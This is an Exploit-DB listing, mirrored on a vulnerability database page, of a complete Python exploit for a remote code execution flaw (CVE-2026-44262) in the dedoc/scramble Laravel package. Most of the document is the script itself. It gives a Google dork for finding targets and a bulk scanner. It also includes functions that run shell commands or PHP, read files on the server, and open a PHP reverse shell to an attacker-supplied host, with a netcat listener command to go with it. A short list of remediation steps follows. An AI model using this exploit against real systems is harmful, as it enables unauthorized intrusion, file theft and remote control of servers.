Lucene search
K

scramble - Remote Code Execution

🗓️ 27 May 2026 00:00:00Reported by joshuaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

Remote code execution in scramble via /docs/api.json using a query parameter to override code.

Related
Code
# Exploit Title: scramble - Remote Code Execution 
# Google Dork: inurl:/docs/api.json "dedoc/scramble"
# Date: 2026-05-07
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Vendor Homepage: https://scramble.dedoc.co
# Software Link: https://github.com/dedoc/scramble
# Version: >=0.13.2, <0.13.22
# Tested on: Linux 6.10.14-linuxkit (aarch64), macOS, Windows
# CVE: CVE-2026-44262
# Reference: https://github.com/joshuavanderpoll/CVE-2026-44262
# Advisory:  https://github.com/advisories/GHSA-4rm2-28vj-fj39
#
# Technique: extract() + eval() in NodeRulesEvaluator::doEvaluateExpression()
#            lets attacker overwrite Scramble's internal $code variable with
#            arbitrary PHP via a query parameter on /docs/api.json.

import argparse
import json
import re
import readline
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DOCS_PATH = "/docs/api.json"
SLEEP_SECONDS = 4

PROOF_FILE_UNIX = "/tmp/scramble_rce_proof.txt"
PROOF_FILE_WIN  = "C:\\Windows\\Temp\\scramble_rce_proof.txt"

R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
P = "\033[95m"
B = "\033[1m"
X = "\033[0m"

REPO = "https://github.com/joshuavanderpoll/CVE-2026-44262"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +{REPO})"
DEFAULT_TIMEOUT = 15.0

_ua = DEFAULT_UA
_timeout = DEFAULT_TIMEOUT
_target_os = "unknown"

CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE


def print_banner():
    print(f"{P}{B}")
    print(r"   _____   _____   ___ __ ___  __     _ _  _ _ ___  __ ___ ")
    print(r"  / __\ \ / / __|_|_  )  \_  )/ / ___| | || | |_  )/ /|_  )")
    print(r" | (__ \ V /| _|___/ / () / // _ \___|_  _|_  _/ // _ \/ / ")
    print(r"  \___| \_/ |___| /___\__/___\___/     |_|  |_/___\___/___|")
    print(f"{X}")
    print(f"{P}{B}{REPO}{X}\n")


def fetch(url: str, timeout: float | None = None):
    req = urllib.request.Request(url, headers={"User-Agent": _ua})
    t = timeout if timeout is not None else _timeout

    try:
        with urllib.request.urlopen(req, context=CTX, timeout=t) as r:
            raw = r.headers
            headers = {k.lower(): v for k, v in raw.items()}
            # get_all handles duplicate Set-Cookie headers
            headers["set-cookie-list"] = raw.get_all("Set-Cookie") or []
            return r.status, r.read().decode(errors="replace"), headers
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), {}
    except urllib.error.URLError as e:
        return None, str(e.reason), {}


def info(msg):
    print(f"{Y}[*]{X} {msg}")


def ok(msg):
    print(f"{G}[+]{X} {msg}")


def err(msg):
    print(f"{R}[-]{X} {msg}")


def proc(msg):
    print(f"{C}[@]{X} {msg}")


def normalize_target(target: str) -> str:
    if not target.startswith(("http://", "https://")):
        target = "http://" + target
    return target.rstrip("/")


def print_cookie_findings(cookies: list[str]):
    for raw in cookies:
        name = raw.split("=")[0].strip()
        value_part = raw.split("=", 1)[1].split(";")[0].strip() if "=" in raw else ""

        if name.upper() == "XSRF-TOKEN":
            info(f"CSRF token (XSRF-TOKEN): {G}{value_part}{X}")
        elif "session" in name.lower():
            info(f"Session cookie '{name}': {G}{value_part}{X}")
        else:
            info(f"Cookie '{name}': {value_part}")


def check_accessible(base: str) -> bool:
    url = base + DOCS_PATH

    proc(f"Probing {url}")

    status, body, headers = fetch(url)

    if status is None:
        err(body)
        return False

    if status == 200 and '"paths"' in body:
        ok(f"HTTP {status} — docs accessible")

        if server := headers.get("server"):
            info(f"Server: {G}{server}{X}")

        if powered := headers.get("x-powered-by"):
            info(f"X-Powered-By: {G}{powered}{X}")

        if cookies := headers.get("set-cookie-list"):
            print_cookie_findings(cookies)

        return True

    err(f"HTTP {status} — not accessible or wrong target")
    return False


def analyze_spec(base: str) -> tuple[list[tuple[str, str]], str | None]:
    """
    Single spec fetch — prints all discovered target info.
    Returns (vuln_params, version).
    """
    _, body, _ = fetch(base + DOCS_PATH)

    vuln_hits = []
    version = None

    # Laravel rule keywords that'd never appear as legit query param defaults
    rule_pattern = re.compile(
        r"^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)", re.I
    )

    try:
        data = json.loads(body)
    except json.JSONDecodeError:
        return vuln_hits, version

    info_block = data.get("info", {})
    version = info_block.get("version")

    if title := info_block.get("title"):
        info(f"API title: {G}{title}{X}")

    if version:
        info(f"API version: {G}{version}{X}")

    if servers := data.get("servers"):
        for s in servers:
            info(f"Server URL: {G}{s.get('url', '?')}{X}")

    paths = data.get("paths", {})

    if paths:
        info(f"Endpoints discovered ({len(paths)}):")
        for path, methods in paths.items():
            method_list = ", ".join(m.upper() for m in methods)
            print(f"    {Y}{method_list}{X} {path}")

    for path, methods in paths.items():
        for method_data in methods.values():
            for param in method_data.get("parameters", []):
                if param.get("in") != "query":
                    continue

                schema = param.get("schema", {})
                default = str(schema.get("default", ""))

                if rule_pattern.match(default) or "|" in default:
                    vuln_hits.append((path, param["name"]))

    return vuln_hits, version


def build_attack_url(base: str, param: str, payload: str) -> str:
    return base + DOCS_PATH + "?" + urllib.parse.urlencode({param: payload})


def capture_output(base: str, param: str, payload: str) -> str | None:
    """
    Send a PHP payload and capture output from the response body.
    Output from print/echo appears before the JSON — everything before '{'.
    """
    _, body, _ = fetch(build_attack_url(base, param, payload))

    json_start = body.find("{")

    if json_start == -1:
        return body.strip() or None

    output = body[:json_start].strip()
    return output or None


def probe_timing(base: str, param: str) -> bool:
    proc(f"Timing probe — sleep({SLEEP_SECONDS}) via param '{param}'")

    t0 = time.monotonic()
    fetch(base + DOCS_PATH)
    baseline = time.monotonic() - t0
    info(f"Baseline: {baseline:.2f}s")

    attack_url = build_attack_url(base, param, f"sleep({SLEEP_SECONDS})")
    info(f"Payload URL: {attack_url}")

    t0 = time.monotonic()
    fetch(attack_url, timeout=SLEEP_SECONDS + _timeout)
    elapsed = time.monotonic() - t0
    delay = elapsed - baseline

    info(f"Attack response: {elapsed:.2f}s (delay: {delay:+.2f}s)")

    triggered = delay >= (SLEEP_SECONDS * 0.75)

    if triggered:
        ok(f"VULNERABLE — response delayed ~{SLEEP_SECONDS}s")
    else:
        err("Not triggered (no significant delay)")

    return triggered


def probe_exec(base: str, param: str) -> bool:
    proc(f"Command exec probe via param '{param}'")

    cmd = "whoami" if is_windows() else "id 2>&1"
    output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd)}))")

    if output:
        ok("VULNERABLE — command output captured:")
        print(f"\n  {B}{output}{X}\n")
        return True

    err("No command output in response (not vulnerable via this vector)")
    return False


def detect_os(base: str, param: str):
    global _target_os

    raw = capture_output(base, param, "print(php_uname('s'))")

    if not raw:
        return

    lower = raw.strip().lower()

    if "windows" in lower:
        _target_os = "windows"
    elif "linux" in lower:
        _target_os = "linux"
    elif "darwin" in lower:
        _target_os = "darwin"
    else:
        _target_os = raw.strip()

    info(f"Target OS: {G}{_target_os}{X}")


def is_windows() -> bool:
    return _target_os == "windows"


def proof_file() -> str:
    return PROOF_FILE_WIN if is_windows() else PROOF_FILE_UNIX


def shell_binary() -> str:
    return "cmd.exe" if is_windows() else "/bin/sh"


def print_output_block(output: str):
    print(f"\n{B}{'─' * 65}{X}")
    print(output)
    print(f"{B}{'─' * 65}{X}\n")


def run_command(base: str, param: str, cmd: str):
    proc(f"Executing: {cmd}")

    # 2>&1 merges stderr into stdout so errors show up in output
    cmd_with_stderr = cmd if "2>" in cmd else cmd + " 2>&1"
    output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd_with_stderr)}))")

    if output is not None:
        print_output_block(output)
    else:
        err("No output (command may have failed silently)")


def run_code(base: str, param: str, code: str):
    proc("Executing raw PHP code")

    # closure makes multi-statement code a single eval-able expression
    wrapped = f"(function(){{ {code} }})()"
    output = capture_output(base, param, wrapped)

    if output is not None:
        print_output_block(output)
    else:
        err("No output returned")


def run_read_file(base: str, param: str, path: str):
    proc(f"Reading file: {path}")

    output = capture_output(base, param, f"print(file_get_contents({json.dumps(path)}))")

    if output is not None:
        ok(f"Contents of {path}:")
        print_output_block(output)
    else:
        err("No output — file may not exist or not readable")


def run_reverse_shell(base: str, param: str, lhost: str, lport: int):
    """
    PHP eval-loop reverse shell — no bash or busybox required.
    Connects back to lhost:lport and executes PHP code sent over the socket.
    """
    info(f"Starting listener on your end:")
    print(f"\n    {B}nc -lvnp {lport}{X}\n")

    proc(f"Sending reverse shell payload to {lhost}:{lport}")

    shell = shell_binary()

    # proc_open pipes shell stdin/stdout/stderr directly to the socket
    payload = (
        f"(function(){{"
        f"$s=@fsockopen('{lhost}',{lport},$e,$m,30);"
        f"if(!$s)return;"
        f"$p=proc_open({json.dumps(shell)},array(0=>$s,1=>$s,2=>$s),$pipes);"
        f"if($p)proc_close($p);"
        f"fclose($s);"
        f"}})()"
    )

    # fire and forget — connection hangs until shell is done
    fetch(build_attack_url(base, param, payload), timeout=3600)


def run_check(base: str, skip_os_detect: bool = False):
    """Non-breaking check — timing probe only, no command execution."""
    if not check_accessible(base):
        err("Docs not accessible.")
        return False

    print()
    proc("Analyzing OpenAPI spec...")
    print()

    vuln_params, _ = analyze_spec(base)
    print()

    if not vuln_params:
        err("No vulnerable parameters detected in spec")
        return False

    ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
    for path, pname in vuln_params:
        print(f"    {Y}{path}{X} → param '{B}{pname}{X}'")

    print()

    _, param = vuln_params[0]

    if not skip_os_detect:
        detect_os(base, param)
    print()

    return probe_timing(base, param)


def print_header(base: str):
    print(f"\n{B}{'=' * 65}{X}")
    print(f"{B}  GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE checker{X}")
    print(f"  Target: {C}{base}{X}")
    print(f"{B}{'=' * 65}{X}\n")


def print_summary(base: str, param: str, timing: bool, exec_: bool):
    print(f"{B}{'=' * 65}{X}")
    print(f"{B}  SUMMARY{X}")
    print(f"{B}{'=' * 65}{X}")
    print(f"  Target:       {C}{base}{X}")
    print(f"  Vuln param:   {param}")
    print(f"  Timing probe: {'%sTRIGGERED%s' % (G, X) if timing else 'clean'}")
    print(f"  Exec probe:   {'%sTRIGGERED%s' % (G, X) if exec_ else 'clean'}")

    vulnerable = timing or exec_

    if vulnerable:
        print(f"\n  {R}{B}Verdict: *** VULNERABLE *** (RCE confirmed){X}")
        print(f"\n  {Y}Remediation:{X}")
        print(f"    {B}1. Patch (recommended){X}")
        print("       composer require dedoc/scramble:^0.13.22")
        print(f"    {B}2. Restrict docs access{X}")
        print("       Add RestrictedDocsAccess middleware in config/scramble.php:")
        print("       'middleware' => ['web', RestrictedDocsAccess::class]")
        print(f"    {B}3. Disable docs in production{X}")
        print("       Remove Scramble::routes() from AppServiceProvider or")
        print("       wrap registration in: if (app()->isLocal()) { ... }")
        print(f"    {B}4. Block at web server level{X}")
        print("       Deny access to /docs and /docs/api.json for external IPs")
        print()
        print(f"  {Y}⭐ If this tool helped you, consider starring the repo: {B}{Y}{REPO}{X}")
    else:
        print(f"\n  {G}Verdict: Not exploitable via this vector{X}")

    print(f"{B}{'=' * 65}{X}\n")

    return vulnerable


def main():
    global _ua, _timeout, _target_os

    parser = argparse.ArgumentParser(description="GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE")

    target_group = parser.add_mutually_exclusive_group(required=True)
    target_group.add_argument("--target", help="Target URL")
    target_group.add_argument("--targets", metavar="FILE", help="File with one target URL per line")

    parser.add_argument("--check", action="store_true", help="Safe non-breaking check only (timing probe, no command execution)")
    parser.add_argument("--command", metavar="CMD", help="Execute a shell command and print output")
    parser.add_argument("--code", metavar="PHP", help="Execute raw PHP code and print output")
    parser.add_argument("--read-file", metavar="PATH", help="Read a file from the target filesystem")
    parser.add_argument("--shell", action="store_true", help="Start a PHP eval reverse shell (requires --lhost and --lport)")
    parser.add_argument("--lhost", metavar="HOST", help="Listener host for reverse shell")
    parser.add_argument("--lport", metavar="PORT", type=int, help="Listener port for reverse shell")
    parser.add_argument("--os", choices=["windows", "linux", "darwin"], metavar="OS",
                        help="Force target OS (windows/linux/darwin) — skips auto-detection. "
                             "Affects shell binary (cmd.exe vs /bin/sh), proof file path, and exec probe command.")
    parser.add_argument("--useragent", default=DEFAULT_UA, help="Custom User-Agent string")
    parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT, metavar="SECONDS", help="Request timeout in seconds (default: 15)")
    args = parser.parse_args()

    _ua = args.useragent
    _timeout = args.timeout

    if args.os:
        _target_os = args.os
        info(f"OS forced: {G}{_target_os}{X}")

    if args.shell and (not args.lhost or not args.lport):
        print(f"{R}[-]{X} --shell requires --lhost and --lport")
        sys.exit(1)

    print_banner()

    # bulk check mode
    if args.targets:
        try:
            with open(args.targets) as f:
                targets = [normalize_target(l.strip()) for l in f if l.strip()]
        except FileNotFoundError:
            err(f"Targets file not found: {args.targets}")
            sys.exit(1)

        results = []

        for target in targets:
            print_header(target)
            vulnerable = run_check(target, skip_os_detect=bool(args.os))
            results.append((target, vulnerable))
            print()

        print(f"{B}{'=' * 65}{X}")
        print(f"{B}  BULK SCAN RESULTS{X}")
        print(f"{B}{'=' * 65}{X}")

        for target, vuln in results:
            status = f"{R}{B}VULNERABLE{X}" if vuln else f"{G}clean{X}"
            print(f"  {status}  {target}")

        print(f"{B}{'=' * 65}{X}\n")
        sys.exit(0)

    base = normalize_target(args.target)

    print_header(base)

    # safe check mode — no exploit
    if args.check:
        vulnerable = run_check(base, skip_os_detect=bool(args.os))
        sys.exit(1 if vulnerable else 0)

    # full detection + exploit path
    if not check_accessible(base):
        err("Docs not accessible — cannot continue.")
        sys.exit(0)

    print()
    proc("Analyzing OpenAPI spec...")
    print()

    vuln_params, _ = analyze_spec(base)
    print()

    if not vuln_params:
        err("No vulnerable parameters detected in spec")
        sys.exit(0)

    ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
    for path, pname in vuln_params:
        print(f"    {Y}{path}{X} → param '{B}{pname}{X}'")

    print()

    _, param = vuln_params[0]

    if not args.os:
        detect_os(base, param)
    print()

    if args.command:
        run_command(base, param, args.command)
        sys.exit(0)

    if args.code:
        run_code(base, param, args.code)
        sys.exit(0)

    if args.read_file:
        run_read_file(base, param, args.read_file)
        sys.exit(0)

    if args.shell:
        run_reverse_shell(base, param, args.lhost, args.lport)
        sys.exit(0)

    # default — full detection probes
    timing_result = probe_timing(base, param)
    print()
    exec_result = probe_exec(base, param)
    print()

    vulnerable = print_summary(base, param, timing_result, exec_result)
    sys.exit(1 if vulnerable else 0)


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.4
EPSS0.03715
SSVC
64